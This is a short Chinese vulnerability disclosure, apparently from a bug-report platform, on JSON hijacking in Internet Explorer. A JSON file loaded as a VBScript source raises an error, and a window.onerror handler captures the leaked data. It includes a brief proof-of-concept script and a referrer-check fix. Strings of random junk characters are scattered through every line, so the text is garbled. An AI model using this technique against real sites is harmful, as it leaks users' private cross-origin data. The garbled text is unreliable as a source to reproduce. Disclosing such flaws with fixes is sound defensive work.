简要描述:$ K, A& M# s# M7 _0 T
8 X5 V; F- J0 o9 p' W( `1 w由于某些资源容器对数据处理不当导致json劫持漏洞.) m2 ^7 X- m8 b2 O$ q- Z
详细说明:3 A/ y; {1 k6 P1 d$ v
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
" Q1 A8 o2 x* T6 c1 {3 F<script language=vbscript></script>
3 [6 x. R5 g6 l % \& m7 O8 F+ g' E
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
+ u+ |* O6 X+ R b: Y漏洞证明:
4 b$ K0 |2 D8 w- A$ W4 k<script>
( u0 i D2 e0 z( o( x" [( P; |window.onerror=function(_){1 }' a* q( s& U: t6 o
alert(_)
: v. R% R8 @- H}- e) W, `- D. ?( P6 Y
</script>% J2 u. |' c" }4 ]4 Q; k- L
<script language=vbscript src=1.json></script>; M. b+ ~/ b5 Q7 y! z2 L
6 H; }; L6 O+ N, N5 {' ~& v! m' @
- _7 \. E! a* ^
1.json:
) a3 P7 C) s! M3 ][{"name":"sogili","age":19}]
% _) M! y/ |8 K) L3 W3 w修复方案:' Z5 |. o$ I6 o- _5 e% C8 E" U0 a
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |